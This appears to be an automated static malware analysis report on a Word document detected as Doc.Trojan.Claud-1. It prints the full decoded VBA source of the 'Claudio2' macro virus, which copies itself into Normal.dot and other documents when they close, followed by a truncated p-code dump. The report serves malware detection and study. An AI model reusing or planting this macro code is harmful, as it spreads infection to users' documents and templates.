Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 241943ee89463cfa…

MALICIOUS

Office (OLE)

119.5 KB Created: 2001-07-09 17:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ec420214ce533bba54a696264a49409a SHA-1: 6bf217056fdec059016e644458e1d51bf0adc2a7 SHA-256: 241943ee89463cfa050c501ecdedc4a5468d9ee20e92786e1021727182a75096
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro named 'Claudio2' with a 'Document_close' subroutine. This macro attempts to infect the Normal.dot template, indicating a persistence mechanism. The macro's code is truncated, but its intent appears to be to copy itself to the Normal.dot template and execute, which is a common technique for malware to establish persistence.

Heuristics 3

  • ClamAV: Doc.Trojan.Claud-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Claud-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10344 bytes
SHA-256: 85f1078a9b6758b30bd38fecfbeae27ddc4cbed61746508119fb497de5e18766
Detection
ClamAV: Doc.Trojan.Claud-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Claudio2"
Attribute VB_Base = "1Normal.Claudio2"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
On Error Resume Next
Dim jota As Integer, i As Integer, y As Integer, cadecodi As String
 Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
'  CommandBars("tools").Controls("macro").Enabled = False
'  Options.VirusProtection = True
  y = 0
  If AD.Name = "Claudio2" Then GoTo InfectNormal
  i = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
Claudio:
  jota = 0
  jota = AD.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < nt.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = nt.CodeModule.Lines(jota, 1)
     AD.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   AD.Name = "Claudio2"
   ActiveDocument.SaveAs ActiveDocument.FullName
  Else
    AD.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo Claudio
  End If
 GoTo IYGH
InfectNormal:
If nt.Name <> "Claudio2" Then
i = AD.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
jota = 0
jota = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < AD.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = AD.CodeModule.Lines(jota, 1)
     nt.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   nt.Name = "Claudio2"
   NormalTemplate.Save
  Else
    nt.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo InfectNormal
  End If
 End If
IYGH:
'Este es un V macro, Elaborado por c l a u d I o
'Este es el Comienzo de la era de los V Claudio
End Sub
Private Sub Document_Open()
'??
'??????
'??????
'????
'????
'????
'????
'??
'??????
'????????????????
'??????????????????????????????
'??
'??????????????????????????
'??????????
'??????????????????????????????????????
'??????????????????????????????????????
'????????????????????????????
'??????????????????????????????????
'??????????????????????????????????
'????
'????
'??
'??
'??
'??????????????????????????????????????????
'??????????????????????
'????????
'??
'??????????????????????????????????????????
'??????????????????????
'????????
'??
'??????
'??????????
'????????????????????
'??
'????????
'????
'??????????????????
'????????????????
'????????
'??
'??????????????????
'????????????????
'????????
'??
'??
'??
'????
'??
'????????????
'??????????????????
'??????????????
'????????????
'????
'??
'??????????????????????????????
'????????????????
'??
'??????????????????????????
'????
'??????
End Sub

' Processing file: /opt/analyzer/scan_staging/c001a587e60d4775a4d09a36cd9cad33.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Claudio2 - 6137 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Dim 
' 	VarDefn jota (As Integer)
' 	VarDefn i (As Integer)
' 	VarDefn y (As Integer)
' 	VarDefn cadecodi (As String)
' Line #3:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set AD 
' Line #4:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #5:
' 	QuoteRem 0x0000 0x0038 "  CommandBars("tools").Controls("macro").Enabled = False"
' Line #6:
' 	QuoteRem 0x0000 0x0020 "  Options.VirusProtection = True"
' Line #7:
' 	LitDI2 0x0000 
' 	St y 
' Line #8:
' 	Ld AD 
' 	MemLd New 
' 	LitStr 0x0008 "Claudio2"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo InfectNormal 
' 	EndIf 
' Line #9:
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcBodyLine 0x0002 
' 	St i 
' Line #10:
... (truncated)